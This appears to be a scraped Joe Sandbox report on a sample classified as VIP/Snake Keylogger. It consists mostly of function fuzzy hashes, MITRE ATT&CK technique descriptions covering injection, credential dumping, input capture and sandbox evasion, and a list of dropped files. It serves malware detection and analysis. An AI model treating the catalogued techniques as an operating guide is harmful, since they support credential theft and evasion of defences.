Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19f45208f3ee21e915caa60cbee8f10ea47c1884b76470737ec2c2188833de8d
Instruction ID: d8a8eb54e41e52e431e5614cac554b688187b530a194b7ebff73dc9972e56ca6
Opcode Fuzzy Hash: 19f45208f3ee21e915caa60cbee8f10ea47c1884b76470737ec2c2188833de8d
Instruction Fuzzy Hash: 54217F303002194BDF255A39849477E26DABFC675CF18843DD50ACF7A9EE65C846A382

Function 015928F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d72573fc5dd3126c35f28b7be8d32a614274e40ab80b4c26e9df9ad181fd68a
Instruction ID: 35b1b49857cfda38353e84d1a627ae0a505306e180583f90f880cda7805503e1
Opcode Fuzzy Hash: 4d72573fc5dd3126c35f28b7be8d32a614274e40ab80b4c26e9df9ad181fd68a
Instruction Fuzzy Hash: B2219035A00115AFCF15DB28D940AAE77A5EB9D3A0F50C459DC0A9B354DB34EA82CBE1

Function 0153D006 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159070556.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_153d000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45097e4ad9196519a5c74fe1d0ffbd606542654af9ee19ded7b75cf7d85ab386
Instruction ID: d0ccf008a60fca7eadb0a3190d9ca0707fdf9338460882d4699a7e112604bec3
Opcode Fuzzy Hash: 45097e4ad9196519a5c74fe1d0ffbd606542654af9ee19ded7b75cf7d85ab386
Instruction Fuzzy Hash: 49314B7110D7C09FD703CB64C994715BF75AF47214F2985DBD8888F2A3C23A980ACB62

Function 01596300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5aab0a6ba7ce72f5bf26ba2106e1c0541e4a70f42ada08cdd0d499defe92f55
Instruction ID: 29dadaa6d8c0baa9089d4d023382adf5d050460edbc492df64bf6e0a8330604c
Opcode Fuzzy Hash: c5aab0a6ba7ce72f5bf26ba2106e1c0541e4a70f42ada08cdd0d499defe92f55
Instruction Fuzzy Hash: C72102357006228FCB259A29D49892EB7A6FFC97517194479E916CF398CF70DC0A8B81

Function 0153D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159070556.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_153d000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45a46fbbb49afbe37846eebc04ab387045b8971838d0f40ccb86643ba656ba86
Instruction ID: 66ae54d495ced0c9cf8d4bbabf4f2a76e1fc1cf36ae65110ea6ca9ee317135cc
Opcode Fuzzy Hash: 45a46fbbb49afbe37846eebc04ab387045b8971838d0f40ccb86643ba656ba86
Instruction Fuzzy Hash: 0A2100B1504204AFCB15CF68C9C0B26FBB5FBC4754F60C96DE9494F252D73AD446CA61

Function 01595649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d3d0004909224437dd7b5378618a44c218bb80048231cb4f83a8bc4a79db3ad
Instruction ID: 23f5f211e09c8743bfbc8d716c30a75c2c6d833de4b9d02ebd4696f682307bac
Opcode Fuzzy Hash: 3d3d0004909224437dd7b5378618a44c218bb80048231cb4f83a8bc4a79db3ad
Instruction Fuzzy Hash: 84212631B051099FCF029F68E4886AE3BA5FB99340F00446AE9058F345D778DE69CBE1

Function 0159AEF0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8887e1a46c65b402146364e55950b2d3bbe6872fb93e7eab6873af9a216e3507
Instruction ID: 74f4d8ae831c3c7af3a5e192bafb3539035447b4d671e84a1b6547c3741cb7ef
Opcode Fuzzy Hash: 8887e1a46c65b402146364e55950b2d3bbe6872fb93e7eab6873af9a216e3507
Instruction Fuzzy Hash: 94216276A002049FDF15CF54D884BEDBBB5FB88350F159029E925AB390DB719C15DBA0

Function 0159F312 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c043bba3dc6a7eedfc5a8bf9f39a4a4ed00947d78e03e2f5c328bc52dd4feb42
Instruction ID: 106ced6aafc24f32d239b37aa900eac949aff75ebfb8227e6ab40ff20c4d6b24
Opcode Fuzzy Hash: c043bba3dc6a7eedfc5a8bf9f39a4a4ed00947d78e03e2f5c328bc52dd4feb42
Instruction Fuzzy Hash: 40216DB1E00209DFCB44DFA8D58069EBFF1FB46304F1095AAD414AB264EB385E45DB91

Function 01599761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae6dfc1218372c6ddee18c9d8fbd7c52694b1f28caa17c708e8c9325acee4f82
Instruction ID: 22cdc7951d08f074f9bdc808914e6b81765f875d857a972cf7d72c4a8c1539fc
Opcode Fuzzy Hash: ae6dfc1218372c6ddee18c9d8fbd7c52694b1f28caa17c708e8c9325acee4f82
Instruction Fuzzy Hash: 20218D70E01248EFCF15CFA9E594AEEBFB6FF49208F148069E415EA290DB34D941DB60

Function 015962F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9b76a3a2e08ac9984140647b4fe4ffaf606fd6150fbfd17802d04683bc678f
Instruction ID: 69adb55e39b3fff4185340ad87d88ef35d6246fe33e367f0d3ef526958a55868
Opcode Fuzzy Hash: da9b76a3a2e08ac9984140647b4fe4ffaf606fd6150fbfd17802d04683bc678f
Instruction Fuzzy Hash: 701106357046118FDB258A2DD89892E7BA2FFC93513194479E906CF3A4CF30DC06CB91

Function 015927F0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e5c17f9145da8c68bb645bc84b485d51f642a470a27373c1c1daffa83b9631
Instruction ID: 301679e4415e268b6098cb48195e47ade8784b1f73e70b4a57d98bfaaa69c5bc
Opcode Fuzzy Hash: 70e5c17f9145da8c68bb645bc84b485d51f642a470a27373c1c1daffa83b9631
Instruction Fuzzy Hash: 7821E2B4C0120A8FCB40DFA9D9855EEBFF4FF0A310F10416AD919B6214E7355A89DFA1

Function 0159F320 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1fec9b5be9ea094b20eb7a544da3455f10ec15b90cb6d806e1657ec90c89417
Instruction ID: 8e5dc8969c924bf2ef6e080227b9eade83e00af9f1361d2cb41053f228821867
Opcode Fuzzy Hash: a1fec9b5be9ea094b20eb7a544da3455f10ec15b90cb6d806e1657ec90c89417
Instruction Fuzzy Hash: CC113AB0E0010ADFDB44DFACD98469EBFF1FB45300F1095AAD414AB254EB349A459B81

Function 01595E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9d714a14971a6f627cc933a97d01675c2fcc7b7a10068a2db601d11e624ea7
Instruction ID: fe6a41740138aebf35c5e3846c030e9fcd612cbadfc1357de90f0bacc5438cc2
Opcode Fuzzy Hash: ab9d714a14971a6f627cc933a97d01675c2fcc7b7a10068a2db601d11e624ea7
Instruction Fuzzy Hash: 7D01F9336041555FCB52CE68D840AAE3BEBFBCA250B18805AF914CF294DEB68D159BA1

Function 0159E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3407497c8b1e2bf4e071a116ee8eca057c4579876b2e2682cc700fdecb084683
Instruction ID: 1936a9254e6127838b3207447d33ff86f0d4a9dcbc008a0e2a23ed062a32f1c2
Opcode Fuzzy Hash: 3407497c8b1e2bf4e071a116ee8eca057c4579876b2e2682cc700fdecb084683
Instruction Fuzzy Hash: 9C116974D0020AEFCB01CFA8E944AAEBBB1FB89300F11406AE910E3350D7395E55DFA0

Function 0159ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76b16c266515e275d25dade19a05c29917a62f17e65526766fa8a5cc9641a9b
Instruction ID: 889b6da553f5c607da4796ffd203003a298d535f7149b2da7a5b430c31f1f329
Opcode Fuzzy Hash: b76b16c266515e275d25dade19a05c29917a62f17e65526766fa8a5cc9641a9b
Instruction Fuzzy Hash: BAF096317006104B9B266A2ED854A2EBAEEFFC8A553554079FA09CF365EE61CC0287A1

Function 01599C29 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14004ac3420f0a14057b4660552a7eb0380e67de8f8da48cf7d17fbf094eef9b
Instruction ID: ffde2a92e08af34f599bc4df55a32e975b79515fdf2f7993e02db0363a1c5fa6
Opcode Fuzzy Hash: 14004ac3420f0a14057b4660552a7eb0380e67de8f8da48cf7d17fbf094eef9b
Instruction Fuzzy Hash: 88F05E32A001589FDF50DF69D844BEEBBF5EBC8325F11C06AE918C7214D73149158B91

Function 015928A2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79c668a4bdd91dd5b302978d70f1c74ec16950dd4a6fb4102719effd854e0bb
Instruction ID: 9d0172fe633ff29cc61cc9b810bc65e1ec12a97276486fe1f9a0976497818594
Opcode Fuzzy Hash: d79c668a4bdd91dd5b302978d70f1c74ec16950dd4a6fb4102719effd854e0bb
Instruction Fuzzy Hash: 85E0D835D54317CBC701E7B09D000DDB734AD82221B18455BC42176151E7341659C7A1

Function 01596739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8b0047c75779d3b276af3a419a0202db4b0e33280775ea5287a12159fb63bd5
Instruction ID: d7e36dbf0f5f7224383cde755a0419f9f7eafc147ce1451edc07a3a06aba9560
Opcode Fuzzy Hash: b8b0047c75779d3b276af3a419a0202db4b0e33280775ea5287a12159fb63bd5
Instruction Fuzzy Hash: ADE0CD328083818FC746D738F8C95493F76FF932147289AAED4458E156CFBD1859DB21

Function 015928B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 631968152f92a8a085456fff605429584fd68494db96d47bbbf5d0c975dffc1b
Instruction ID: eef81e55a18710681684a9a98b29a2baeac054be9c35fad894fcd2d0b64e3e16
Opcode Fuzzy Hash: 631968152f92a8a085456fff605429584fd68494db96d47bbbf5d0c975dffc1b
Instruction Fuzzy Hash: 76D05B35D2022B97CB01E7A5EC044DFF738EED6261B544626D91437154FB702659C6F1

Function 01598EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: d6d95e0cb489ab4f83c65f0fb31406148f6cea650563e3603dfeaae1d10c789c
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 32C0123320C1282AEB25104E7C40AA7AA8DE2C22B4A211137FA2C9B200A842AC8001AA

Function 0159AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a7b198e8c9eccc90cac8233ec546571885af91a956e21eb9589f76db5916f13
Instruction ID: 6a0cf3a703487257afe98034a4b2dc603bd73fd45422a41823b9501879e23b74
Opcode Fuzzy Hash: 6a7b198e8c9eccc90cac8233ec546571885af91a956e21eb9589f76db5916f13
Instruction Fuzzy Hash: DED0673AB400189FCB149F98E8809DDF776FB98221B448116EA25A7265C6719925DB50

Function 01596748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bfab9410f819e52f9c9fc8e4f78cdcd2ce6232a6477224fc5ad3f0b63c6ab5c
Instruction ID: 8f0bcadb3f138c9f4e30327fc1e3e5d882c2870f08e09ed7d48a074839d94d5f
Opcode Fuzzy Hash: 5bfab9410f819e52f9c9fc8e4f78cdcd2ce6232a6477224fc5ad3f0b63c6ab5c
Instruction Fuzzy Hash: 57C012319043198BC549E779FC89515376AF7D02007549A14E4050A589DFFC1C995791

Non-executed Functions

Function 01596920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;fq, xrefs: 01596936
\;fq, xrefs: 0159692C
\;fq, xrefs: 0159695E
\;fq, xrefs: 01596952

Memory Dump Source

Source File: 0000000D.00000002.4159649468.0000000001590000.00000040.00000800.00020000.00000000.sdmp, Offset: 01590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1590000_fahKSvwo.jbxd

Similarity

API ID:
String ID: \;fq$\;fq$\;fq$\;fq
API String ID: 0-4080798596
Opcode ID: f82aafa017eab2d6c8d1b6eb9bb0086f159ef4a32129b081aa065a038597afa2
Instruction ID: 74a2b7fc0cdc6b26408e8070f99c99e308e7f30b8cf53d269a924d46a752abe2
Opcode Fuzzy Hash: f82aafa017eab2d6c8d1b6eb9bb0086f159ef4a32129b081aa065a038597afa2
Instruction Fuzzy Hash: D3018B31B101158FCF248E2DC580AAA77EABF88774725456AE509CF3B1DF31EC458792

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e-dekont_html.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e-dekont_html.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fahKSvwo.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iz120nfz.j4v.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrnkzrin.mp3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ksvqv0pp.2er.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vpgolwsw.511.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2byhtnc.1s3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4rhnfbd.ktt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xaevxprt.bw5.psm1

Windows Analysis Report
e-dekont_html.exe

